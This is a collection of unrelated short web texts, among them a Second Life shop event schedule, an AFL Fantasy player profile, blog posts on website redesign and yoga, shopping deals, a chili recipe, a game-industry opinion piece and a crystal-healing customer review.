VITAMEN Main Shop Directory
VITAMEN Main Store located in Japarid sim
VITAMEN Adult-Mix Main Store located in tou-Gen-kyo sim (Adult-Sim)
VITAMEN Adult-Mix Main Store is located in tou-Gen-kyo's mall.
As tou-Gen-kyo opening events, following schedule is coming up.
:: VITAMEN's Secret Fashion Show in tou-Gen-kyo (Adult-Sim) ::
by Men's Undewear & Swimwear VITAMEN
Fashion Show TP Point (Adult-Sim)
The 1st runway
・JST - 13:00 to 14:00 on Sun 2nd Oct.
・SLT - 21:00 to 22:00 on Sat 1st Oct.
・GMT - 04:00 to 05:00 on Sun 2nd Oct.
The 2nd runway
・JST - 21:00 to 22:00 on Sun 2nd Oct.
・SLT - 05:00 to 06:00 on Sun 2nd Oct.
・GMT - 12:00 to 13:00 on Sun 2nd Oct.
*More information is coming up soon on this blog ;)
:: The 2nd tou-Gen-kyo Stamp Rally ::
Date 1st to 31st Oct.2011 at tou-Gen-kyo (Adult-Sim)
Check the items @ Main Store Men's Underwear VITAMEN
Check previous items @ my blog Men's Underwear VITAMEN


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Deck of Dream Team
Michael Barlow – Deck of DT 2017
"See ya Ross, thanks for nothing…" were the parting words from a Fantasy star who has averaged 110 in the past and Calvin thinks he'll be back to his best again this year.
Name: Michael Barlow
Team: Gold Coast
Position: Midfield
AFL Fantasy: $583,000
Bye Round: 9
2016 Average: 96.5
2016 Games Played: 13
Predicted Average: 108
Click here for DT Live profile.
Why should I pick him?
Firstly, happy Australia Day. That may not be politically correct, but neither is an Irish pirate who drinks rum, teaches primary school kids and speaks in an American/irish/English/bogan accent.
Let talk about Mr. Barlow. It's a classic rule that when someone moves to a new club it takes them time to settle and their average tends to either drop or plateau. This is usually the case, but it's not for gun players and Barlow is certainly that.
Example #1 is Patrick Dangerfield who rose his average at Geelong from 106 to 118 in his first year.
Example #2 is Adam Treloar who averaged 104 in his final year the Giants, but rocketed it up to 112 in the first year as a Pie.
We all know the issues Barlow had in 2016. In and out of the team, tagging and role changes hindered his season… but still, he averaged 97. Ross Lyon hates Fantasy. He hates everyone who likes it and hates anyone who racks up like Barlow.
Barlow is a proven Fantasy jet and averaged 104 in 2013 and then a massive 110 in 2014. He has a ceiling, and reached it when Ross allowed him to last year with scores of 159 and 138 from only 13 games.
Another reason I really like Barlow this year is the lack of depth in the Suns midfield. With Ablett destined for more time forward and O'Meara heading to the Hawks, he is a certainty to play smack bang in the guts.
Why recruit a 29 year old ball winning machine if you're not going to use him where he plays his best footy.
Why shouldn't I pick him?
Reason number one is… Gold Coast have a sh*t bye.
In round 9, only the Suns and the Power players have a bye… and for this round, the Fantasy game soldiers on without an extra trade and without the 'best 18' rule. With all these players unavailable, it's like them all being injured at the same time and you have to have a plan in place to cover this.
Many coaches will look to get busy over this time, selecting the likes of Barlow in round 10 in preparation for the three weeks ahead.
Despite what I've mentioned above, will Barlow actually fit in?
Matt Rosa only just fitted in when he went to the Suns last year and during the pre-season he was the name on everyone's lips. He went there averaging 74 and only improved that by 2pts.
Barlow is expensive. At $583,000 you're buying him as a premium and a premium keeper. You might have the luxury of upgrading him at the end of the season, but lets be honest, if you purchase him… you will be most likely rocking with him till the very end.
Why buy Barlow when Nat Fyfe and the Bont are just $12,000 more?
Fyfe the Brownlow medallist and Bont, the future Brownlow medallists have already made so many pre-season teams and rightfully so (47% and 16% of teams). They should be more consistent and potentially have a bigger upside.
Deck of DT Rating.
KING – On the dtlive.com.au drawing board, the fans have voted and predicted Barlow to average 104. They see small growth. I see a little more. On the drawing board, he is currently owned by just 5% of coaches, and I am currently one of the those. Barlow will be unique.
I see Barlow being a key to the success of the Gold Coast Suns this year after they struggled once again. He will be let off the chain and without a tag in sight or a tagging role in sight and I'm expecting big big things for a guy who has done it all before.
FOLLOW ME ON TWITTER: @CalvinDT for all thing AFL Fantasy (and more). Got something to say about the deck? Use the hashtag… #DeckofDT.


text: U.S. stocks advance on earnings as investors await Obama address By Leslie Picker and Lu Wang, Bloomberg | February 12, 2013 U.S. stocks advanced, sending benchmark indexes to five-year highs, as earnings topped estimates and investors awaited President Barack Obama's State of the Union address. U.S. stocks little changed as Heinz deal tempers economy concern By Leslie Picker and Lu Wang, Bloomberg | February 14, 2013 U.S. stocks were little changed, after erasing earlier losses, as a drop in jobless claims and Warren Buffett's deal for H.J. Heinz Co. tempered concern over shrinking economies in Europe and Japan.


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These Vintage Sunglasses are brand new DEADSTOCK. You will be receiving the exact ones you see in the picture, please make sure you check out the whole frame. Should you have any questions, please contact us for details. We have staff available 24hrs a day to help make your shopping experience as easy as possible!
Maui Jim got its start in 1980 as a small company selling sunglasses on the beach in Lahaina, Hawaii. Seeing a need in the market for technology that could combat intense glare and harmful UV while bringing the brilliant colors of the island to life.
Vous avez besoin d'assistance? Contactez nous par téléphone du lundi au vendredi de 8am à 5pm EST au Bureau chef au 438-381-4068 ou sur notre ligne sans frais au 1-800-930-6745.
Vintage Frames Company is dedicated to providing you with the most unique Vintage Sunglasses options in the world. As a part of our constant effort to help our clients strive for individuality, we have implemented our custom lenses program for our online shop! Choose from many rare and specialized custom lenses to add a personalized touch to your already rare Vintage Eyewear. All lenses are customized specially for Vintage Frames Company.


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Over 100 Navajo weavings, old and new, ranging is price from $100 to over $10,000 will be featured in this unique, all day event! Styles including Two Grey Hills, Burnham, Yeis, Ganado, Klagatoh, Teec Nos Pos, pictorials, Sandpaintings and more! Saturday June 10, 2017 at the Museum of Natural History of Utah in Salt Lake City, UT.Read More
Navajo Rug Sale and Silent Auction - Salt Lake CIty
Saturday, June 3, 2017 2:03 PM
1 Item(s)
Recent Posts
- New Old-Style Katsina Dolls by Chester Poleyestewa
- Blue Corn and My First Experience with Pueblo Pottery
- Navajo Folk Artist Delbert Buck--He'll Make You Smile!
- Coral and Turquoise Necklace
- Charlie Daniels. Yes. That Charlie Daniels
- In 1938 Sallie Lippincott Moved to the Navajo Reservation. She Left her Mark!
- Works by Fritz Scholder, American Artist (1937 - 2005)
- Peter Ray James Returns to Painting
- Some People Don't Like Snakes, but they have made this woman famous!
- Laverne Barber is Back, Better than Ever!
- This Silversmith Does It All!
- Rocks, Gems, Fossils, Jewelry and more in Denver this weekend!
- Old Rugs (Almost) Never Die!
- New for Indian Market at Toh-Atin Gallery's show this Week!
- Santa Fe's Indian Market Week and What We Bring to the Party!
- Two Wonderful Yeibichai Weavings
- Mesa Verde: Saving a National Treasure
- Navajo Rug Sale and Silent Auction - Salt Lake CIty
- Maria and Julian Plates
- Maria Martinez, The Potter of San Ildefonso
- Shonto Begay, Painting Navajo Life and Making it Universal
- Spring Gallery Walk Friday May 12
- Annual Navajo Rug Auction in Oklahoma City April 21-22, 2017
- Ben Nighthorse: Memories and Unique Jewelry
- The Story of Willie Yazzie, World Class Navajo Silversmith
- Historic Bandolier Bags and a Belt from the Ojibwe
- "The Return of The Raven"
- Works of a Master Potter from Santa Clara Teresita Naranjo, "Apple Blossom"
- Transitional Period Weavings
- Noel All Day - All Night!


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Originally posted on my LinkedIn profile May 2015
In Part One of this three-part blog series, I reviewed the initial assessment one needs to make before undertaking a website redesign. This is Part Two.
Part 2 - Groundwork
So, you've determined that it is time to redesign your website, and you have identified the objectives you hope to achieve by doing so (don't overlook this piece - these will be the criteria by which you measure your success). The next phase of this project is figuring out what and whom should be part of the redesign project.
Start by getting a handle on who your website is serving. There will be multiple audiences, so it is extremely helpful to build out a set of user personas. This exercise will give you clarity into your website visitors, and provide you with a sort of touchstone against which to measure your functionality and content. Personas force you to understand your user objectives, their journey throughout the various pages of your website, how they arrived there in the first place, and what actions they will likely want to take once they get there. The typical visitors to a law firm website will include:
- Buyers of legal services (e.g., In-house Counsel and Chief Legal Officers)
- Lateral partners (attorneys considering working at the firm)
- Media (journalists and media researching and writing about the firm)
- Business professionals (administrative staff looking for positions in marketing, HR, finance, IT, and operations)
You should create a persona for each key visitor type. Here is a subset of personas we developed when redesigning my firm's website:
Recommended reading: Smashing Magazine's Shlomo Goltz on developing user personas.
Stakeholder Interviews
Stakeholder interviews are critical to understanding what your stakeholders hope to achieve in the redesign. Work with your executive champion to determine who should be included as a stakeholder, but be sure to include anyone who has a vested interest in the success of your site. For my website redesign, I include the Marketing department (primary content owners), the Human Resources department (our Careers pages are the second most visited pages on the site), and practice leaders. Ideally, you will also be able to interview clients to find out what they need from your website.
Each interview will take between 45 and 60 minutes, so you will need to prioritize your list of stakeholders. If at all possible, I recommend including your designers and developers in this phase, because what you hear and document might be very different from what they hear. (And when a practice leader insists on adding some random element, the designer and developer can help get to the bottom of what the true requirement is and how best it can be addressed.)
I also conducted a firmwide survey with 10 basic questions to suss out what employees (both attorneys and staff) thought needed to be included in the redesign. This goes a long way toward making people feel heard, and taking them on the redesign journey with you.
Recommended reading: Paul Boag on How to Improve Your Site Using Stakeholder Interviews.
Content Audit
This is where you measure and evaluate all of your website assets. Start by measuring the current traffic to the various sections of your website. Be careful about making automatic assumptions about low-traffic areas; maybe it isn't reflective of the desire for the content, but rather the quality of the content.
When evaluating content, ask yourself:
- Does it help you achieve your business goals?
- Does it speak to at least one of your personas?
- Is it consistent with your brand style guide?
- Is it redundant?
- Is it relevant?
- Is it optimized for search engine optimization?
If you are rewriting whole sections of your website, or creating entirely new sections, be sure to prioritize. No matter how well you plan, timelines will get tight and you may need to postpone rewriting certain elements. When that time comes, you will want to know you have been spending your efforts on the right things.And please, if I can emphasize only one thing: pare down. Users don't read websites, they skim them - so don't make them have to work for the information they seek.
Recommended reading: Anything by the Nielsen Norman Group on writing for the web.
Coming Up: Part 3 - Redesign
This will be the final post in a three-part blog series on website redesign.
- Project Kickoff
- Wireframes
- Design
- Build
- Content Population
- Testing
- Rollout


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Going Deeper
By Elonne Stockton
This month marks the beginning of my tenth year teaching. I took my first teacher training course in January 2003. Fittingly, I commemorate my anniversary by helping teach our Centered Yoga Foundation Course, which starts on the 18th of this month.
The morning after I completed the training course in '03 I started teaching, and I have been teaching full-time ever since then. When I started the course, I had no intention of teaching; I just wanted to "go deeper" into my sadhana, my practice. I had been in journalism, and I also believed that a deeper understanding of yoga would inform my writing.
In May I will be teaching a retreat titled Basics and Beyond;. It is for those of you who want to "go deeper." Maybe you have been practicing for a while but have never had the opportunity to go deeper. Or maybe you feel there are gaps in your knowledge and want a richer understanding of the practice in its entirety.
Usually, as our practice advances, we feel more and more like a beginner, and this is an essential part of the learning process. In order to be able to take in new information, we need to be open to it, keeping a beginner's mind. If we feel we know already, we are already full and there is no room for new information. But if we have a beginner's mind, life presents us with endless opportunities for learning and growth.
For those of you wanting something more, now is the chance. Many people are happy taking a class or two a week. The peace that those few hours brings them is enough. There is nothing wrong with that. But for those who have an interest in going deeper, there is no time like the present.
I will share some of my story to show how the practice starts to reveal itself as we age and as our practice matures. Over the years, my connection to the practice has steadily grown, and to this day it continues to unfold. If we keep up a practice, it will always be steady for us, like a close relationship with a reliable old friend. As with any relationship, there will be ups and downs, but it will always be a constant in our life, ever reminding us how far there is to go on this journey. I am ever amazed.
It was while on retreat in the Bahamas, in October '02, that I started to realize that practice is a rabbit hole. It was a real epiphany, and I clearly saw that I had just skimmed the surface on both the theoretical and practical aspects of Yoga. At this time, things were ripening in my mental development; ideas and concepts that I once understood mostly intellectually started to make sense to me on a more practical level. Life and its lessons (past and present) also started to shine light on the teachings, and years of constant motion made me ready to sit. I was ready to go in.
As my understanding grew, my reasons for practicing also became more complex, and my appetite for more knowledge and experience intensified. By the time I decided to take my first teacher training at the start of '03 it had already been ten years since I started my exploration of yoga.
For me it began at age 14. I secluded myself in my basement trying to make sense of some ancient library books and a little later some video tapes. I never told anyone other than my family and running coach that I was practicing – nowadays yoga (especially the asana) is mainstream, but at that time yoga's popularity was mainly growing in major cities, and most people who had even heard of it thought it was weird. Although for years I kept it a secret, I never doubted the benefits of practicing.
I immediately found 2 or 3 times a week really helped me cope with the stresses of academics, athletics and adolescence. It was what I needed at the time. I often think that more guidance at that time could have helped me tremendously, but who knows at that stage of development how much I really could have absorbed on a deep level. Anyway, the seed was planted.
At the very end of the 90's I started taking classes in New York City, practicing more often, making more sense of the practice, beginning a seated practice. But with school, work and everything else, there was a limit to the amount time and energy I could devote to a practice. For sure all of this was setting a foundation for me, for sure I benefitted infinitely from the time spent, and I could not possibly have done any more.
After I graduated, I had more free time, and my mental energy could be devoted to things beyond school. I remember it was during my brother's first wedding, in October of '01 (five months after I graduated from college and right after 9/11), that I started to sit every morning. Something clicked/shifted in me. By that time I had been doing some pranayama at the beginning of the Sivananda classes I was taking as well as meditating and chanting in their satsang. I started to understand the need and benefit of sitting, working with the breath and with mantra. So it was while away at that wedding weekend in Pennsylvania that I began a routine of sitting every morning, doing the little bit of pranayama that I learned and practicing japa (mantra repetition).
That year was a rough one for me, in terms of work and life decisions, and I looked to my practice for guidance. Every morning I would sit and ask for help.
Exactly one year later — after asking for a lot of guidance — I decided to take a break from my pursuit of the career of journalism and go on retreat in the Bahamas. I remember going on a silent walk one of the first evenings I was there. Walking back, I felt as if I could see through the ocean, like it was a movie set. That unreality felt more real to me than anything else had before then. I had just turned 24, and I felt as though I could never go back. Not that I could never go back to outside life, but I could never go back to buying into the things I once did, about what I should be doing with my life, what I needed to make me happy, etc.
Looking back, I have never had a time when I was completely "off" from Yoga. I immediately found solace in the practice, and since I started practicing I have always made time for it. It has seen me through countless growing pains and continues to shape the adult I have become. It was the practice that gave me the strength and the conviction to veer from the path that was set for me, in search of something that was meant for me.
Obviously everyone's path is different. And our relationship to the practice is also different, because we are all individuals, with our own karma and life experiences. Some people are able to find yoga early and have a practice throughout life, even though the shape and intensity of the practice changes and shifts. Others might not find yoga until a little later but are able to immediately get into it and see relatively quick change and growth. And still others must go through many years of practicing "on and off" before something sticks and real growth begins.
And what does growth mean? This is a complicated subject, but I will touch on it. Certainly getting through whatever series in Ashtanga, or moving through whatever pranayama ratio is not necessarily a sign of growth, although it is not to be belittled either. Tiwari explains that yoga is the integration of our personality on all levels.
On a real level, the movement of prana is something that can be seen in the pulse and checked by an experienced teacher. On an experiential level, growth can be felt and seen, in how we treat ourselves, how we treat others, how we see the world, how things affect us on a daily basis. Things that were once problems are no longer issues, or they attenuate. I realize this might sounds simplified, but if you join me in May, we will explore it further.
Again, for some maybe there is neither desire nor need to go deeper. But if you require something more, a retreat is the perfect opportunity to get started, and there's no better time than now.


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Helping the less fortunate has been the heart beat of APOH and it will always be. Without it, climbing this mountain for the 12th time expecially for Jimmy Lim (our climb organiser), will have just stopped due to no purpose. This time around Persatuan Kanak-Kanak Istimewa Hulu Langat (PKKI) is the beneficiary of this charity trek. This is not a home but a centre that helps children with a wide range of physical and mental disabilities including cerebral palsy, hyperactivity, autism, blindness, down syndrome, global development delay, etc.
Agree with me or not, all of us got a soft spot for NGOs as they are self-reliant for their own expenses. Getting these funds in to support the running of it is tough. Even tougher is getting it on time to fund it. As they climb their 'mountain', we at APOH will climb ours. Which is easier? You can only answer it yourself.
With only 1 and 1/2 months to go before we ascend the mountain, we must utilise it wisely for maximum impact. No matter how much we can collect, may it be RM10 or RM10,000, we have at the least did something meaningful for PKKI.
An email detailing how the donation collection is to be done will be send out. In it a covering letter from PKKI and donation forms are attached as pictured above. If for any reason some of you did not receive these, please inform Jimmy or myself (firstname.lastname@example.com) and we will gladly email you again. You can also download it by clicking the picture above.
Happy Soliciting Donation!


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Didn't used a massage machine yet? You are missing a really great experience of life. If you are doing mental work in office and reaches home with tired position, it would be really a bad situation. What, if all those fatigue get out from your body in few minutes? Isn't it awesome…
I would suggest you to go and get a full body massage chair to get relief from all those physical and mental stress. A good massage chair cost you really big amount but you do not need to worry much because here I am listing top massage chair under $1000 and I think this amount would be affordable to you.
- 1 Top 5 Massage Chair under $1000
- 1.1 #1- HomCom Deluxe Heated Vibrating PU Leather Massage Recliner Chair:
- 1.2 #2-Luxury Shiatsu iDeal Massage Chair:
- 1.3 #3- Kahuna Massage Chair LM6800 Recliner with Heating Therapy:
- 1.4 #4- Comfort Products 60-425111 Leisure Recliner Chair with 8-Motor Massage & Heat Functions:
- 1.5 #5- Full Body Zero Gravity Shiatsu Massage Chair Recliner:
- 2 Conclusion:
Top 5 Massage Chair under $1000
#1- HomCom Deluxe Heated Vibrating PU Leather Massage Recliner Chair:
The HomCom Deluxe Heated Vibrating PU Leather Massage Recliner Chair is most affordable massage chair with exclusive features under price range of $500. The product has deluxe heated vibrating PU leather, which provide amazing comfortablility while sitting over there. It has 5 different pre-programmed massage setting which is controlled by remotely and its 360 degree of rotation is also an amazing feeling. This will be most recommend massage chair under your budget.
#2-Luxury Shiatsu iDeal Massage Chair:
This is another great massage chair under price range of $1000, the product is liaised with four wheel driven system. If we talk about comfortability then, it allow all way adjustment of your body. You can adjust all your individual parts of your body according to requirements. The best part is, the machine has four different massage technique viz. back stretch, a kneading & vibrating function, a manual mode where you control the back rollers yourself, or a whole body massage. Here are some good guide at MassageTut
#3- Kahuna Massage Chair LM6800 Recliner with Heating Therapy:
As per customer review of Kahuna Massage Chair LM6800 Recliner with Heating Therapy, this machine is equipped with few yoga functionalities as well. It also includes L-track massaging capabilities, a system that uses a roller trail to support your neck and back all the way to your waist. This system decompresses each individual spine in your body while increasing the beneficial effects of a good back massage.
#4- Comfort Products 60-425111 Leisure Recliner Chair with 8-Motor Massage & Heat Functions:
If we look at design of this massage machine, then it looks pretty simple but works effectively. It has 8 different auto-programmed massage category which provides according to your instructions via remote panel. The motor provides, upper back, mid back, thighs, and calves. It also has a swivel, recline, and recline tension adjustment system that allows you to set up the exact sitting position you feel most comfortable in.
#5- Full Body Zero Gravity Shiatsu Massage Chair Recliner:
Last but not least, this product will works on zero gravity feature which make you relax from mental and physical stress. This massage chair is packed with additional features like, it has OPTO sensor which detect your shoulder position and customize their position automatically. Apart from it, the machine has heating system that warms your body parts according to requirements.
So there are some best massage chairs under the price range of $1000 but if you are good at budget then you can look for some better products. I think you are satisfied with this article and it will definitely help you in choosing a great product under your budget. Thanks you very much for reading this, and follow the link of amazon and look its all feature and also customer experience.


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Tag Archives: Christianity
Principled Principles
Our Religion
Enough Faith
Donald Trump's Christian problem
To me, there are so many red flags regarding the incoming Trump administration that it's tough to pick one over which to freak out.
One issue that isn't going to get a lot of coverage in mainstream media is Trump's Christian problem.
Andy by Christian problem, I don't mean Trump himself. I read more than a few people who say he's actually an atheist or at least doesn't care much about religion. And to be fair, it does seem that Trump worships himself first, (which might make him a Satanist if anything) and money second.
My worry stems from the fact that Trump has little if any experience in governing. I think he's going to rely more on advisors and people in his cabinet for the nuts and bolts of his administration's policies, than have past presidents. This is where the Christian problem comes into the picture.
I think by now, we're all aware of Mike Pence's stance on religion, but if not, he's described as a born again evangelical Catholic, whatever the hell that is.
And much like the pervert who can't keep it in his pants, evangelicals have a tough time keeping their religion to themselves.
Which brings us to Trump's pick to lead the Department of Education – billionaire Christian, Betsy DeVos.
DeVos is a Calvinist, who, depending on which side of the bed Pence gets out of on a particular morning, may or may not be going to hell.
According to an article via POLITICO, DeVos, said that she wants to reform the whole education system to bring "greater Kingdom gain," which is evangelical-speak for, "we want to teach your kids about Jesus."
She went on to say,
The church — which ought to be in our view far more central to the life of the community — has been displaced by the public school as the center for activity, the center for what goes on in the community.
It is certainly our hope that churches would continue, no matter what the environment — whether there's government funding some day through tax credits, or vouchers, or some other mechanism or whatever it may be — that more and more churches will get more and more active and engaged in education," he said. "We just can think of no better way to rebuild our families and our communities.
To be fair, DeVos hasn't come out and said that she wants to introduce a Jesus-focused curriculum into the public school system. That could be because those pesky founding fathers had some goofy ideas about keeping church and state separate. However, what she does want is to make it easier for people to send their kids to private schools where they can get a "higher quality education", which may or may not include Jesus. Spoiler alert: it includes Jesus.
This is exactly the kind of thing that has me worried about what's coming down the road. My gut tells me that Trump has a few big ideas of what he wants to accomplish as president – an overall picture if you will – and I think most of it is on the economic front. Think, bringing back jobs and making America great.
Trump probably doesn't care much personally about "christianizing" the schools or our country, but I think there's plenty in his administration who do. And if DeVos says that Jesus will help make America great again, then that's probably good enough for Trump.
And make no mistake, he'll have plenty of support on this front, too. I hear plenty of people, and read plenty of letters in the papers saying that what's needed is for America to "get back to god."
I keep hearing people say that we need to give this administration a chance, and to be sure, I have no choice. This is what we have, and most of us are going to have to sit back and watch the show.
If you haven't done so, now might be a good time to donate to one of the many organizations who will take up the fight to keep church and state separate and who will fight for a secular government, because I think we're going to need it now more than ever.
Space Beavers
Loopholes and peppermints
If you're not familiar with the song, I recommend checking it out here.
Here's a tip
The original sin
Another from the archives. Will be back from vacation with new material on Monday.


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Yeah! Hurry on over to the Walmart site to print a new high-value coupon valid for $3 off any Huggies Snug & Dry Diapers Jumbo size or larger. Most stores (like Target, Walmart and Walgreens) sell the Huggies Snug & Dry Diapers Jumbo Packs for around $9.49, so just $6.49 after the coupon. Plus, check out the following CVS deal you can score:
Spend $30 on select Pampers, Huggies & CVS brand diapers = $10 Ecb (limit 1)
Deal Scenario:
Buy 3 Huggies Diapers jumbo pk 2/$20
Total = $30
Use 3 $3/1 Huggies diapers coupons found here
Or the $1/1 Huggies diapers coupon found in the 10/21 SS (Expires 11/17!)
Or the $2/1 Pull-Ups coupon found here or here (share with friends)
Pay as low as $21
Get back a $10 Ecb
Final cost as low as $3.67 each! Awesome price!
(Thanks, Printable Coupons & Deals!)


text: Ken Forrester Wines is to South African Chenin Blanc what Cloudy Bay is to New Zealand Sauvignon: widely regarded as the best. Ken started his career in the hotel industry. By 1993, he and his wife Teresa had achieved their dream of buying a historic vineyard in Stellenbosch, complete with a 17th century Cape Dutch homestead. Teresa took on the task of restoring the house while Ken and top winemaker Martin Meinert set their sights on making the world's finest Chenins.Ken's wines have won hundreds of awards and been poured at prestigious events including the opening of the Scottish Parliament and Nelson Mandela's 85th birthday. Wonderfully rich and intense yet mouthwateringly fresh. Serve with grilled chicken, swordfish or roast pork.


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|Reviews for Philip Wade Montgomery
| Punslinger chapter 1 . 9/12/2009
I like this story very much. The writing is clear and simple, revealing well-rounded characters and dwawing us into a plot that is obvious yet profound and ending with the triumph of hope over tragedy. I think the test of a good work of art is that it leaves one thinking: "Why, that's so easy I could do it myself," then finding out how difficult it really is.


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Toys-To-Life 'Games' Don't Deserve That Title
Every month in Play Magazine, we take a hot topic and look at the arguments for and against. The subject of debate this time is toys-to-life games like Lego: Dimensions, Skylanders and Disney Infinity. We start with Play's Paul Walker-Emig arguing that they are a glorified advertising platform for selling tat. Next week, we'll have the defence from Retro Gamer's Darren Jones.
'Toy-to-life' games, as they have now been named, are not made to be good. They are cash traps developed with the aim of exploiting children as a means of extracting as much money from the pockets of parents as possible.
Now, I'm not naive: I know that any game made explicitly for children likely wasn't born out of a desire to create a work of art. In the pre-figure era, the decision to make kids' games was still probably, at base level, a business decision. Once that decision had been made, however, there was nothing in the way of the developers of those games getting to work making an experience that kids could enjoy. They did it with the Lego games, LittleBigPlanet and the Ratchet & Clank series, to name but a few.
The problem with the likes of Skylanders, Disney Infinity, and Lego Dimensions, is that there now very much is something in the way of making those games as good as they should be, and it is those little plastic figures that they're all flogging. Lego Dimensions is a prime example of this. In past Lego games, you would unlock characters through playing the game that would allow you to access new areas. In Lego Dimensions, you are still presented with areas that you can't access without certain characters; the difference is that you now have to pay for the corresponding figures if you want to access them. [Note: Lego Dimensions has been updated since this article was originally published to allow you to temporarily unlock characters in-game to address this criticism]. The game is constantly reminding you that you are missing out because you haven't bought this figure or that. Remember that the base set of Lego Dimensions costs £100, and it is now telling you that game you've bought is incomplete; you've got to spend more if you want it all. The point here is that good game design is not the priority for these toys-to-life games. The priority is to make you spend more money buying figures and that's never going to be a benefit to you, or the quality of the games.
Speaking of buying figures, they're disgustingly expensive. Let's say you want Lego Dimensions and you're a fan of Back To The Future. Once you've bought the game, the level pack including Marty McFly, and the Doc Brown set, you're looking at £140. One hundred and forty pounds for a videogame. It's a slippery slope, too – one set of figures here, another there, and before you know it you're using bin bags for shoes because you sold all your proper footwear to feed your toy addiction. We shudder to think how much it would cost if you decided, for example, to buy all the figures Skylanders has to offer, but you don't have to spend long totting up the numbers before you can see it tipping into the thousands rather than hundreds. Looking at those vulgar prices and taking into account how these games lock off content behind the toys they are selling, these games appear as the transparent cash grabs that they really are.
Toys-to-life games barely deserve the moniker 'game'. They are little more than vehicles to sell merchandise. They are cynical, exploitative and a waste of money. There are plenty of great games out there that are still child-friendly. Go and spend your cash on those games and not on a glorified advertising platform for plastic tat.


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Pumpkin Black Bean Turkey Chili
If you follow me on Instagram, you may have seen me talking about plans to make my Beefy Kidney Bean Chili for dinner last night. Well, that didn't happen at all. But, something else really good happened instead.
As I often do in the kitchen, my good intentions for meal planning and dinner prep got side tracked, distracted, or altered. Honestly, the plans I make almost never stick, so I usually find myself wondering "what's the point?"
Really. If there is anything that the last couple of years, a failed marriage, and becoming a single mom has taught me is that sometimes it is just easier to take the days as the come. Because planning everything out, trying to predict how things might go, and then being frustrated or disappointed when whatever it is didn't go how I wanted…sometimes, to me, feels a little bit like wasted energy. So, my plans are a lot less rigid these days.
Anyway, I had a meal plan this week, but then I had pumpkin on the brain (because everything is pumpkin this and pumpkin that right now!) and started wondering if I could make a decent Pumpkin Chili. The answer is yes!
My distraction from my well-intentioned meal plan is to your benefit because this Pumpkin Black Bean Turkey Chili turned out totally delicious! If you're looking for a Pumpkin-y, pie-like flavored chili, this isn't that.
Instead this Pumpkin Black Bean Turkey Chili is a thick, rich chili that is a little less on the tomato-y side. It has the bonus of being loaded with extra vegetables in the form of pureed pumpkin in addition to all the flavor that comes with the ground turkey, garlic, black beans, poblanos, and chili powders.
And really, that is what makes this chili successful. Not because it has pumpkin, but because it depends on the richness of flavors. The best chili recipes are all about layered flavors – from the carefully sautéed onions and garlic, the blend of chili seasonings, the browned meat, the tender beans, to the rich and thick tomato base. So, in case you were wondering how NOT to cook your chili, I present to you my best do's and do not's of chili making.
How NOT to Cook Your Chili
Skip Sautéing the Veggies
DO: Sweat the Mirepoix and Aromatics
I consider them the basics: onion, leeks, garlic, carrot, or celery. Cooking these ingredients for about 5 minutes over medium heat before adding the remaining chili ingredients will deepen the flavor of the soup.
When I was a young(er), inexperienced cook I made the mistake of thinking chili was all the ingredients dumped into a pot of broth, but honestly it just doesn't taste as good made that way!
Season Just Before Serving
DO: Toast the Spices
Want to really draw out the flavor from your ground spices? Then add them directly to your veggies after you've sautéed them. Heat and oil applied to the ground spices will give your chili a rich, bold flavor. Adding the seasonings to the completed chili just before serving will leave you with a much rawer taste.
Throw the Meat in Raw
DO: Brown the Meats
Recipe got meat? Make sure you brown it first. The browned bits left in the bottom of the pan after browning the meat will build the flavor of the chili even more.
Serve Immediately
DO: Let Chili Simmer Low and Slow
I like to allow my chili to simmer for a longer period of time rather than quickly boiling them to get the vegetables tender. Yet again…you'll get more flavor development this way.
Extra tip: If your slow cooker cooks any speed but "slow," as many often do these days, look for a model that has a "keep warm" feature. After bringing your chili to a simmer over low or high, turn the heat down to "keep warm," this will give you a better low and slow simmer over the course of a couple of hours.
More Chili Recipes
Pumpkin Black Bean Turkey Chili not your thing? If you like a more traditional chili, you'll like this Beefy Kidney Bean Chili. If you want a chili that is really rich and hearty, try this Braised Short Rib and Bacon Chili. Or if you want a lighter and healthy chicken chili, then this White Bean Chicken Chili Verde will be perfect!
No matter what chili you make, you can't go wrong serving it with these Honey Corn Bread Muffins. Seriously. Logan and Madeline say they are the best ever.
Pumpkin Black Bean Turkey Chili
1 tablespoon olive oil
1 large yellow onion, diced
1 poblano pepper, diced
1 large red bell pepper, diced
4 cloves minced garlic
2 tablespoons chili powder
1 tablespoon ancho chili powder
1 1/4 teaspoons cumin
1/4 teaspoon chipotle powder
1/2 teaspoon smoked paprika
1 1/2 lbs ground turkey
1/4 teaspoon dried oregano
1/4 teaspoon dried thyme
salt and pepper, to taste
2 cups beef broth
1 - 15 ounce can pumpkin puree
1 - 14.5 ounce can fire roasted diced tomatoes
1 - 6 ounce can tomato paste
2 - 15 ounce cans Bush's Black Chili Beans
1 - 15 ounce can Bush's Black Beans
1 tablespoon finely minced fresh cilantro
Add the oil to a large cast iron pot, such as a Le Creuset Round French Oven, and heat over medium heat.
Add the onions to the pan and sauté for approximately 5-7 minutes, until they are translucent. Add the poblano, red bell pepper, and garlic and sauté an additional 2-3 minutes. Add all of the seasonings (chili powder through smoked paprika) to the onion mixture. Cook and stir for 3 minutes.
Add the ground turkey, oregano, thyme, salt and pepper, and cook, breaking the meat using a spoon or spatula into small pieces. Cook until the meat is completely cooked through. Deglaze the pan with the beef broth, stir in the pumpkin puree, tomatoes, tomato paste, and all of the beans.
Bring to a boil and reduce the head to low. Simmer for at least an hour minutes, stirring periodically so it doesn't stick to the bottom.
Season with additional salt and pepper, if desired. Stir in cilantro. Serve.
Top with things like: shredded cheese, sour cream, fresh chopped cilantro, and/or tortilla chips.
adapted from Beefy Kidney Bean Chili


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From: Ross
Sent: Thursday, June 25, 2009 11:47 AM
To: HealingCrystals.com
Subject: Site Review submitted.
Excellent! Merkaba stones are perfect for assisting in ascending/transcending. Merkaba is a prime shape for third eye activation. I was really surprised to find that Labradorite is my favorite. This Labradorite merkaba really absorbs all the negativity and gets rid of it. If you have issues with anger or "out of control" get the Labradorite merkaba, hold it in your left hand or your right hand and you'll see what I mean. I love this merkaba and I'm going to get the larger one tomorrow. But this little guy is pretty amazing.